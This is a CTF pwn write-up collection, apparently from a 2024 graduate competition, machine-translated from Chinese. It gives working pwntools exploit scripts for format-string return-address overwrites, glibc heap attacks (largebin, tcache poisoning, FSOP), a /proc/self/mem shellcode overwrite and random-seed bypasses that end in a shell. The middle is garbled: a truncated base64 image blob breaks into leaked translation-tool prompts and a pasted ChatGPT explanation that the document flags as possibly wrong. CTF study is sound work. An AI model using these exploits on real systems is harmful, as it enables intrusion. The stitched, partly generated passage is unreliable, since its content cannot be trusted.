研究生赛初赛2024WP
出题质量感觉好低,pwn 感觉全非预期了。
一题低版本 IO,一题 2.31 double free,一题 kernel UAF,一题 mips fmt
出题质量感觉好低,pwn 感觉全非预期了。
一题低版本 IO,一题 2.31 double free,一题 kernel UAF,一题 mips fmt
这次 PWN 有两题,有一个 arm kernel 的 pwn 还是挺有意思的,调了很久所以发一篇出来。
If I don't practice, my skills will deteriorate, and I won't have any books to read.
Non-stack formatted string, find a chain of a->b->c on the stack, change a->b to a->b*->return_address (usually two bytes are enough to change).
Then change b*->onegadget.
from pwno import *
# sh = process("./pwn.bak", env={"LD_PRELOAD": "./libc.so.6", "LD_LIBRARY_PATH": "."})
sh = gen_sh()
sa("Please enter a keyword\n", b"%9$pAAAA%6$p")
libc.address = int(recvu(b"AAAA", drop=True), 16) - 0x20840
stack = int(recvu(b"You", drop=True), 16) # %10$p, next = %37$p
success(f"libc.address: {hex(libc.address)}")
success(f"stack: {hex(stack)}")
og = [0x4527A, 0xF03A4, 0xF1247]
gadget = libc.address + og[2]
# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8) & 0xFFFF).encode() # -> ebp
dbg("b printf")
sa("Please enter a keyword\n", payload)
payload = "%{}c%37$hn".format((gadget) & 0xFFFF).encode() # -> low 2 byte
sa("Please enter a keyword\n", payload)
# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8 + 2) & 0xFFFF).encode() # -> ebp + 2
sa("Please enter a keyword\n", payload)
success(f"{hex(gadget)}")
dbg("b printf")
payload = "%{}c%37$hn".format(((gadget) >> 16) & 0xFFFF).encode()
sa("Please enter a keyword\n", payload)
# stack + 0xa0
ia()
2.35, at first glance, it's a largebin.
Edit shows that it's read(0, buf, book), consider if it's possible to directly enlarge book to cause overflow.
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
Create can create up to five.
size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF
if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}
Delete has UAF. After freeing a largebin, modify fd to perform largebin attack, change book to cause overflow.
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 0x59 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
The problem is, I've forgotten how to modify Largebin 😂
Here's a brief review of the 2.35 path.
First, >= 0x440 goes directly into ub, then when allocating, it takes from ub first, if not enough, it goes to main_arena, then enters largebin. Here, we only discuss the range [0x440~0xc40), because they are each spaced 0x40 apart.
Largebin is divided by size intervals; a largebin is organized from largest to smallest. Each size's head pointer remains unchanged, being the first chunk of that size (the first released chunk), and the rest are inserted at the head after it.
For each size's head pointer, fd_nextsize and bk_nextsize are used to string them together, with fd_nextsize pointing to a smaller one, forming a circular linked list.
And fd and bk are used to manage the entire size list.
![img](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAysAAAKJCAYAAAC79LYNAAAAAXNSR0IArs4c6QAAIABJREFUeF7snQmYFdW1trctdBBBQVQCKhqNgnoTEkmUGAWNcUBBoo0DRoErJkpQIaBCFI0KScAoNk7ojXgBiRpDhzDEGRWcMA6RGBwyqTgQrnZAQeQCaf7nq5vqv/qwuuvUOTXsqnrree6TK71r77Xetc45+6u99q7tDBcEkiXQvaqq6pyOHTvWrFu3bp9Nmza1SdYcRm+OQHV19cb27du/vWbNmrqGhoa7jTFvQgsCEIAABCAAAQg0RwCx0hwZ7guLQKJixW8vifZ+vPfee+bVV19t3Jui/SjnnHOOGTt2rOnRo4fT39ChQ83s2bPNu+++a956663G/S1uX957V7x9eO9d8Z7+5b13xdtH4b0r3n689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654+yn13hVvH957V7x9eO9d8fZT6r0r3j689654You are a professional content translator, tasked with translating user-provided text. You will translate the article into English, including translating comments within code blocks. Note that you should not modify any article structure; your task is limited to translation only. Do not alter the brackets in the titles.您提供的内容已经翻译为英文,并且代码块中的注释也已翻译。以下是翻译后的内容:
You are a professional content translation assistant, and your task is to provide translations based on user text. You will translate the article into English, and also translate the comments in code blocks. Note that you should not modify any structure of the article, only perform translation work, and do not modify the brackets in the titles.
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### 回答问题
Largebin attack 是一种针对堆管理机制的攻击技术,主要利用了 glibc malloc 库中 largebin 的管理漏洞。在 glibc 的堆管理中,largebin 用于管理大于 512 字节(64 位系统上为 1024 字节)的堆块。Largebin attack 通常涉及到修改 largebin 链表中的堆块的bk_nextsize
和fd_nextsize
指针,以实现任意地址写入。
利用过程:
准备阶段:首先,攻击者需要创建并释放一些 largebin 大小的堆块,以便将它们放入 largebin 中。这些堆块需要满足一定的条件,以便在 largebin 中形成特定的链表结构。
修改指针:接下来,攻击者通过某些手段(如堆溢出、UAF 等)修改某个 largebin 堆块的bk_nextsize
指针,使其指向目标地址减去 0x20 的位置。这样做的目的是为了在后续的插入操作中,将目标地址写入bk_nextsize->fd_nextsize
。
触发插入:然后,攻击者创建一个新的 largebin 大小的堆块,并使其大小略小于当前 largebin 中最小的堆块。当这个新堆块被插入 largebin 时,glibc 会执行以下操作:
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
由于之前修改了bk_nextsize
指针,这里会导致目标地址被写入victim
的值。
后续利用:一旦目标地址被成功写入,攻击者可以进一步利用这个写入操作来实现更复杂的攻击,如修改 GOT 表、执行 ROP 链等。
以下是一个简化的示例代码,展示了如何利用 Largebin attack 进行任意地址写入:
// 假设我们已经通过某种方式获得了目标地址target_addr
void largebin_attack(void *target_addr) {
// 1. 创建并释放一些largebin大小的堆块
void *chunk1 = malloc(0x450);
void *chunk2 = malloc(0x460);
free(chunk1);
free(chunk2);
// 2. 修改某个largebin堆块的bk_nextsize指针
*(void **)((char *)chunk2 + 0x18) = (void *)((char *)target_addr - 0x20);
// 3. 创建一个新的largebin大小的堆块,触发插入操作
void *chunk3 = malloc(0x440);
free(chunk3);
}
在这个示例中,chunk2
的bk_nextsize
指针被修改为target_addr - 0x20
,当chunk3
被插入 largebin 时,target_addr
将被写入chunk3
的值。
通过以上解释和示例代码,希望能够帮助理解 Largebin attack 的原理和利用过程。
This Content is generated by ChatGPT and might be wrong / incomplete, refer to Chinese version if you find something wrong.
During the basic competition, I also worked on miscellaneous blockchain and ioT, but I didn't bother to publish it.
Directly use nc to obtain shell.
Stdout is disabled, with a backdoor and stack overflow.
Here, the exec 1>&0
command is used to redirect output to stdout (see understanding bash "exec 1>&2" command).
signed int
type only checks for positive numbers, allowing negative numbers to bypass arbitrary address read/write.
Modify the exit
GOT table to the vuln
function address, leak printf
address for libc calculation in the first round, rewrite puts
GOT table to get shell in the second round.
Stack migration + ORW template question.
Shellcode ORW, the program runs mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL)
to change permissions, just write here.
An interesting format string question with the format string on bss. Can leak stack address when Saying.
Then use the below format string to leak canary and libc base, change return address to vuln
function, but without using the canary.
Then setup printf
GOT pointer on the stack, change printf
to system
and then modify return address to read(0, str, 0x100uLL)
to set up /bin/sh\x00
and execute system('/bin/sh')
.
(I had to look at my own exploit for a long time to understand this, it's really abstract, don't know how fmtstr_payload is used here)
payload_padding = sorted([('%8$hn', system_addr & 0xffff), # Modify the last two digits <-> p64(printf_got)
('%9$hhn', (system_addr & 0xff0000) >> 16), # Modify the third from the end <-> p64(printrf_got+2)
('%10$hn', vuln_read_addr & 0xffff), # Same...
('%11$hn',((vuln_read_addr & 0xff0000) >> 16)),
('%12$hn', 0)], key=lambda x: x[1])
payload = ''
nums = 0
for i in payload_padding:
payload += f'%{i[1]-nums}c{i[0]}' if i[1] != nums else f'{i[0]}'
nums = i[1]
print(hex(payload))
# Can anyone really understand this, but can be reused, written quite well (laughs)
All the following heap questions are template questions, no pointer cleaning, UAF.
Fill up tcache and conveniently create an unsorted bin to leak libc, then directly change fd to point to __free_hook
and change it to system
to get shell.
Libc 2.23
Fastbin attack Double Free, place a fake chunk at __malloc_hook-0x23
, use the one_gadget filled in __realloc_hook
.
After testing, found that the condition for og is not met, modify __malloc_hook
to realloc to adjust the registers, then modify __realloc_hook
to the one_gadget.
Libc 2.31
Fill up tcache and leak libc using unsorted bin.
Utilize the concept of heap chunk overlap to modify tcache fd to __free_hook
.
We first fill the 7 bin size 0x90
idx size type ... 0x90 tcache_bin 7 0x90 allocated_chunk 8 0x90 unsorted_bin At this point, when we free 7, it will merge with 8 to form a new unsorted_bin
If we take out a chunk of the same size again, it will take from the linked list of 0x90 tcache.
Now, if we free 8 again, it will link to the 0x90 tcache list.
Finally, when we take out a chunk >= 0xB0, it will start from the address of 7, including what we need, which naturally includes parts of 8 such as
prev_size
,size
,fd
,bk
, etc.
I actually overcomplicated this (I thought it would still check if notes[i]
exists like before, but after calculating I found it's not enough). Simply create a double_free in fastbin, then clear tcache to put fastbin into tcache and directly retrieve it.
Bybass the Safe-unlinking mechanism of 2.32, but still a template question. In short, it encrypts the fd pointer, the process is as follows:
e->next = &e->next >> 12 ^ tcache->entries[tc_idx]
When the first tcache is put in, tcache->entries[tc_idx]
is 0, so we only need to leak the fd of the first tcache_chunk, left shift by 12 bits to leak the heap_base.
Then, when modifying fd, perform encryption fd = &e->next >> 12 ^ fd
After that, it's just a template question for tcache poisoning.
2.32, exploit largebin attack to write a very large value at &mp_+80
, where it is the location of .tcache_bins = TCACHE_MAX_BINS,
in the mp_
structure.
Similar to global_max_fast
, once changed, proceed with the same steps as safe_note.
2.32, use the setcontext+61
gadget to achieve ORW.
Since setcontext
now uses the rdx register, utilize a magic_gadget as well.
mov rdx, qword ptr [rdi + 8]
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20];
Version 2.36, bypass larginbin to hit the IO structure. Used house_of_cat exploit chain, but can also use apple's.
Version 2.36
Write the heap address directly at _IO_list_all
, and print out the libc address. Then use exit
to trigger _IO_flush_all_lockp
for FSOP, but since there is no heap address, the chains cannot be utilized.
Initially noticed that size 0 can cause heap overflow, pondered using IO to leak heap address, but couldn't control the program flow, got stuck for a long time.
Later, ayoung said just malloc a very large value, and suddenly remembered that sysmalloc
will open a new memory near libc, and this offset is unlikely to change.
After testing, it indeed worked, then continue to hit the IO.
Looking at the title introduction, it should be something about BROP. Also found that there is no attachment.
I have never done a BROP problem before, so let's give it a try.
CTF-WIKI_BROP
First, let's see what the program will do.
You can see that the program first provides the address of write
, but since we don't know the libc version, although we can find the libc version based on the lower 12 bits, we choose LibcSearcher
for a quicker solution.
In this way, it is easy to find libc_base
.
sh.recvuntil(b"write: ")
write_addr = int(sh.recvuntil(b"\n", drop=True), 16)
success(">>> write_addr: {}".format(hex(write_addr)))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
success(">>> libc_base: {}".format(hex(libc_base)))
Next, it allows us to open a file.
Introduction to some related contents of /proc/
.
The Linux kernel provides a mechanism to access kernel data and change kernel settings during program execution through the /proc filesystem. /proc is a pseudo-file structure, which means it exists only in memory and not on external storage. Some important directories in /proc are sys, net, and scsi. The sys directory is writable and can be used to access and modify kernel parameters.
/proc also contains process directories named after PID (process ID), which can be used to read information about the corresponding processes. There is also a /self directory, used to record information specific to the current process.
This is like a symlink, where different PIDs accessing this directory essentially enter different /proc/$(PID)/ directories.
This file is used to record the memory mapping of the current process, similar to the vmmap
command in GDB. By reading this file, you can obtain the base address of the memory code segment.
This file records information about the process memory. Modifying this file is equivalent to directly modifying the process memory. This file is readable and writable, but reading it directly will result in an error.
You need to modify offset
's val
based on the mapping information in /proc/self/maps
.
If we write some code to the .text
section, the code at that address will become disasm(val)
.
Therefore, it naturally comes to mind to write shellcode there. However, since we do not have the source file, we cannot be sure where the program has executed and thus cannot control the program to jump to the exact location where the shellcode
starts.
At this point, if we change the address context to all nop
and add a segment of shellcode
at the end, whenever the program reaches any position where nop
is located, the shellcode
will execute normally.
Thus, we may as well change a large section starting from __libc_start_main
to nop
, ensuring that the program is definitely covered by nop
.
Exp:
import string
from pwn import *
from pwnlib.util.iters import mbruteforce
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = remote('chuj.top', 51812)
sh.recvuntil(b' == ')
hash_code = sh.recvuntil(b"\n", drop=True).decode('UTF-8')
charset = string.ascii_letters
# print(hash_code, type(hash_code))
proof = mbruteforce(lambda x: hashlib.sha256(x.encode()).hexdigest() ==
hash_code, charset, 4, method='fixed')
sh.sendlineafter(b"????> ", proof.encode())
sh.recvuntil(b"write: ")
write_addr = int(sh.recvuntil(b"\n", drop=True), 16)
success(">>> write_addr: {}".format(hex(write_addr)))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
success(">>> libc_base: {}".format(hex(libc_base)))
sh.sendlineafter(b">> ", b'/proc/self/mem\x00')
__libc_start_main_addr = libc_base + libc.dump('__libc_start_main')
success(">>> __libc_start_main: {}".format(hex(__libc_start_main_addr)))
sh.sendlineafter(b">> ", str(__libc_start_main_addr).encode())
payload = asm('nop') * 0x300 + asm(shellcraft.sh())
sh.sendlineafter(b">> ", payload)
sh.interactive()
Using IDA to open the file, we found that the task requires us to input the correct random numbers generated by rand()
10 times, and then input the correct random byte stream generated by /dev/urandom
.
The rand()
function checks whether srand(seed)
has been called before every call. If a value has been set for seed
, then it will automatically call srand(seed)
once to initialize its initial value. If srand(seed)
has not been called before, the system will automatically assign an initial value to seed
, that is, srand(1)
will be called automatically.
/dev/urandom
is a pseudo-random device provided in the Linux system, whose task is to provide an ever non-empty stream of random byte data.
Since rand()
generates random numbers based on the random number seed seed
, as long as the seed
is the same, can't the same random numbers be generated?
We can see that the length of buf is 22, but it can read in 0x30 bytes of data.
Observing the stack, we can see that buf and seed are only 0x18 bytes apart. Therefore, we can consider stack overflow to overwrite the random seed.
This is a bit more difficult. During my search, I found a method to skip strncmp
by padding with \x00
to make strlen=0
, but this is clearly not suitable for our strcmp
.
But the working principle of strcmp
is as follows:
strcmp: Compare two strings character by character from left to right (comparing them by ASCII value), until a different character is encountered or '\0' is encountered.
This means that if s starts with \x00
, our strcmp
will return 0 without caring about the rest of the data and buff
.
This is the real random - making /dev/urandom
generate byte data streams starting with \x00
.
from pwn import *
from ctypes import *
context.log_level = 'debug'
def burp():
sh = remote("173.82.120.231", 10000)
# sh = process("./randomn") # When testing locally, for some reason, it throws an EOFError, so I had to run the script by connecting to the server (after checking, it may be due to program protection on Ubuntu 20.04 LTS)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') # Import library file
payload = '\x00' * 0x20 # Since our data is only related to buf and seed, it's better to fill it all with \x00
sh.sendlineafter("ranqom...",payload)
libc.srand(1) # Using 0 and 1 as seed will yield the same result
for i in range(10):
a = libc.rand()%100
sh.sendlineafter("is the number?\n", str(a))
# Random_2
payload = '\x00' # Fill it with something random
sh.sendafter("THIS!??!!", payload)
print(sh.recvline()) # There will be an empty line so printed it, but it's not necessary
respon = str(sh.recvline())
print(respon)
if 'LUuUncky' in respon:
sh.interactive()
else:
burp()
burp()
